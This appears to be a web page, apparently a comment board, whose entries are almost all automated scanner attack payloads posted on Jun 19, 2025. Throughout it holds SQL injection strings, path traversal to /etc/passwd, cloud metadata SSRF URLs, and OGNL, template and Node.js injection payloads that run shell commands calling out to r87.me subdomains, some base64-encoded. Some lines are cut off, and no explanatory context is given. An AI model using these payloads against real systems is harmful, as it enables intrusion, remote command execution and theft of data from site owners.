'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(55)||chr(103)||chr(118)||chr(97)||chr(111)||chr(119)||chr(95)||chr(122)||chr(53)||chr(109)||chr(50)||chr(117)||chr(117)||chr(112)||chr(108)||chr(97)||chr(108)||chr(98)||chr(112)||chr(55)||chr(107)||chr(99)||chr(105)||chr(102)||chr(107)||chr(102)||chr(107)||chr(120)||chr(109)||chr(105)||chr(106)||chr(120)||chr(118)||chr(97)||chr(102)||chr(114)||chr(45)||chr(107)||chr(122)||chr(52)||chr(99)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 4d14d8cb-6307-43f5-9e9f-d66329c7d474 */

/../../../../../../../../../../proc/version

+response.write(268409241-94358)'
Jun 19, 2025 03:47

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Jun 19, 2025 03:47

&nslookup "o7gvaow_z5xx1menrpolcofbv2tdic4r1zki8xdg""b7q.r87.me"

-1 OR X='ss
Jun 19, 2025 03:47

exec('xp_dirtree ''\\o7gvaow_z5hj3ibrbovnb3wuyr86ffzmgri190-h'+'mq8.r87.me'+'\c$\a''')
Jun 19, 2025 03:47

http://54.180.177.131:3306

-1' OR 1=1 OR '1'='1
Jun 19, 2025 03:47

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* 8c824114-61c4-45f3-adea-90a5f179c7e0 */

/../../../../../../../../../../proc/version.html

Content-Type:text/html ns(0x01A649)

'&nslookup "o7gvaow_z5st7biyddgwzupukpozxrktjq7smefx""prg.r87.me"

"+response.write(268409241-56746)+"
Jun 19, 2025 03:47

-1' OR 1=1 OR '1'='1
Jun 19, 2025 03:47

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password
Jun 19, 2025 03:47

http://[::1]:3306

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHA
Jun 19, 2025 03:47

-1" OR 1=1 OR "1"="1
Jun 19, 2025 03:47

/../../../../../../../../../../../etc/passwd

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 4c740c85-0713-4481-9135-e5836376ec37 */

"&nslookup "o7gvaow_z5inry_mqvh0_yvevt7arz763vm3tn3q""8bo.r87.me"

1;exec('xp_dirtree ''\\o7gvaow_z5wuzbcnn3rmjaxl1agadjcbkbgbnb_g'+'ik4.r87.me'+'\c$\a''')--
Jun 19, 2025 03:48

-1" OR 1=1 OR "1"="1
Jun 19, 2025 03:48

Jun 19, 2025 03:48

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52
Jun 19, 2025 03:48

file:///etc/passwd

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 63ce2686-0e3c-4816-8b44-0be88ba7e054 */

netsparker(0x01A735)

https://www.hackerschool.org/server-status

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52
Jun 19, 2025 03:48

|nslookup${IFS}"o7gvaow_z5divla_hjcmlzhk2gq3bp9exg__wfyc""spm.r87.me"

print(int)0xFFF9999-60493
Jun 19, 2025 03:48

-1';exec('xp_dirtree ''\\o7gvaow_z5mueyngrlp1bnsqw1pt73z7xyy-le27'+'yso.r87.me'+'\c$\a''')--
Jun 19, 2025 03:48

/../../../../../../../../../../../etc/passwd

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 7448e1f5-8a63-4bf2-a15b-6f5bc4f2c648 */

http://169.254.169.254/opc/v1/instance

1) exec('xp_dirtree ''\\o7gvaow_z5iuzilctvp-izztufpxeuilhqax_nr2'+'s3k.r87.me'+'\c$\a''')--
Jun 19, 2025 03:48

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."o7gvaow_z5ufru0vqn85shriknnwzvbfdga_fdr5""b1a.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

print(int)0xFFF9999-53957;
Jun 19, 2025 03:48

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109)
Jun 19, 2025 03:48

/../../../../../../../../../../../etc/passwd.html

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 749d28bc-1ae9-4646-b6ef-a4b086ad3b2b */

+print(int)0xFFF9999-3176;//
Jun 19, 2025 03:49

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "o7gvaow_z5yq5r234fovkjgkdkfxi5oueco6zfoj"ygk.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

https://metadata.packet.net/metadata

1')exec('xp_dirtree ''\\o7gvaow_z518vb5wla1jje04ng2qu4xkku3tyv7f'+'aki.r87.me'+'\c$\a''')--
Jun 19, 2025 03:49

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||c
Jun 19, 2025 03:49

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

'+print(int)0xFFF9999-45677+'
Jun 19, 2025 03:49

//r87.com/n/j/?0x01AB4D

1))exec('xp_dirtree ''\\o7gvaow_z5wufkbaoa9sxhbi0gh2w8vnexigavhh'+'hkc.r87.me'+'\c$\a''')--
Jun 19, 2025 03:49

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbzdndmFvd196NTVnZnkwcnJxeWJreXhmX2R1dnR2NGpseW4yM2RlbnJ6dS5yODcubWU=')).read()}}

' WAITFOR DELAY '0:0:25'-- /* d794e99a-c3f2-425d-83ad-7eff84c102b7 */
Jun 19, 2025 03:49

https://metadata.platformequinix.com/metadata

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)
Jun 19, 2025 03:49

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

"+print(int)0xFFF9999-62488+"
Jun 19, 2025 03:49

1'))exec('xp_dirtree ''\\o7gvaow_z5d8cppouxrzvbldqqn8ku9tq6dywgax'+'n-e.r87.me'+'\c$\a''')--
Jun 19, 2025 03:49

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYnpkbmRtRnZkMTk2TlhBME9HSnVlRFoyWjNobmJXZHVZWHByY21NNUxWOXRiR0UxZUc5c01tOXZieTV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

https://www.hackerschool.org/trace.axd
Jun 19, 2025 03:49

1 WAITFOR DELAY '0:0:25'-- /* 69b5f006-57ad-4f89-ab3a-9a83b7ff95c9 */
Jun 19, 2025 03:49

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(10
Jun 19, 2025 03:49

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbzdndmFvd196NTJ3dmthcGZ0aWR4aXExaGhmbGl6MWR4eF9kdmczZGhsYy5yODcubWU=','base64').toString())

Jun 19, 2025 03:50

WAITFOR DELAY '0:0:25'-- /* c09c540e-6d00-4776-a7d9-ee63c82d8b2a */
Jun 19, 2025 03:50

www.hackerschool.org/trace.axd
Jun 19, 2025 03:50

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o7gvaow_z5nzp-jvv0jqto8qy_tynnggni2ksenc'+'mvo.r87.me'+'\c
Jun 19, 2025 03:50

NSFTW
Jun 19, 2025 03:50

'"-->netsparker(0x01AE71)
Jun 19, 2025 03:50

1) WAITFOR DELAY '0:0:25'-- /* 23797064-e056-4723-b353-827567bc53d8 */
Jun 19, 2025 03:50

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

{php}print(int)0xFFF9999-93161;{/php}
Jun 19, 2025 03:50

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';
Jun 19, 2025 03:50

'+NSFTW+'
Jun 19, 2025 03:50

54.180.177.131/trace.axd
Jun 19, 2025 03:50

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x01AED5%29%3C%2FscRipt%3E
Jun 19, 2025 03:50

{php}Smarty_Resource::parseResourceName(system("nslookup o7gvaow_z5tviam_zmrrnnnquf4zqjhlnr0d4fja"."evm.r87.me"),'b');{/php}

1/../../../../../../../../../../../etc/passwd

'{${print(int)0xFFF9999-40649}}'
Jun 19, 2025 03:50

') WAITFOR DELAY '0:0:25'-- /* 8ae89e5b-9363-463b-84cd-c62721c8d2e2 */
Jun 19, 2025 03:50

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDFCMDU5KTwvc2NyaXB0Pg==
Jun 19, 2025 03:51

127.100.11.2/trace.axd
Jun 19, 2025 03:51

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'
Jun 19, 2025 03:51

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(10
Jun 19, 2025 03:51

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup o7gvaow_z5hlkckvj3j_qshxxvqhg8_rzmuxvccx"~"esi.r87.me")}}

/etc/passwd

[php]print(int)0xFFF9999-64321;[/php]
Jun 19, 2025 03:51

')) WAITFOR DELAY '0:0:25'-- /* 6948235e-935a-428f-b078-0f035628f42e */
Jun 19, 2025 03:51

'" ns=netsparker(0x01B0B3)
Jun 19, 2025 03:51

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''
Jun 19, 2025 03:51

127.0.0.1/trace.axd
Jun 19, 2025 03:51

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHA
Jun 19, 2025 03:51

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_member
Jun 19, 2025 03:51

1)) WAITFOR DELAY '0:0:25'-- /* 67bb58ee-e24b-42a2-ad47-a4063108d67b */
Jun 19, 2025 03:51

1 ns=netsparker(0x01B32A)
Jun 19, 2025 03:51

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(
Jun 19, 2025 03:51

[::1]/trace.axd
Jun 19, 2025 03:51

SELECT dblink_connect('host=o7gvaow_z5ljml_4mtpdjbqnocsjgals8nkzbmlv'||'uvg.r87.me user=a password=a
Jun 19, 2025 03:51

${ ex("bash -c {eval,$({tr,/+,_-}

data:;base64,TlM3NzU0NTYxNDQ2NTc1

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR
Jun 19, 2025 03:51

print localtime()*0+0xFFF9999-50256
Jun 19, 2025 03:51

'>
Jun 19, 2025 03:52

dblink_connect('host=o7gvaow_z5li_s92co5nw26xowkw78g-cth7iitw'||'-ju.r87.me user=a password=a connec
Jun 19, 2025 03:52

https://www.hackerschool.org/elmah.axd
Jun 19, 2025 03:52

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(1
Jun 19, 2025 03:52

${ ex("cmd.exe /c nslookup o7gvaow_z5ypuyfx5abgcgllv5nlymjqnhb7_cin"+"cqc.r87.me") }

Comment_Ok.html

eval('print localtime()*0+0xFFF9999-90138')
Jun 19, 2025 03:52

">
Jun 19, 2025 03:52

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/*
Jun 19, 2025 03:52

cast((SELECT dblink_connect('host=o7gvaow_z5ge-9kcbuojstrul96rkgdodvjhtxel'||'k8c.r87.me user=a pass
Jun 19, 2025 03:52

www.hackerschool.org/elmah.axd
Jun 19, 2025 03:52

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||
Jun 19, 2025 03:52

require 'resolv';Resolv.getaddress ("o7gvaow_z5fl4v12i_odlw85ubpeerbt4puidosm".concat "xyq.r87.me")

Comment_Ok.html

'+print localtime()*0+0xFFF9999-77816+'
Jun 19, 2025 03:52

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/
Jun 19, 2025 03:52

Jun 19, 2025 03:52

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(55)||chr(
Jun 19, 2025 03:52

54.180.177.131/elmah.axd
Jun 19, 2025 03:52

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Jun 19, 2025 03:52

/Sub_Html/HS_Comment/Comment_Ok.html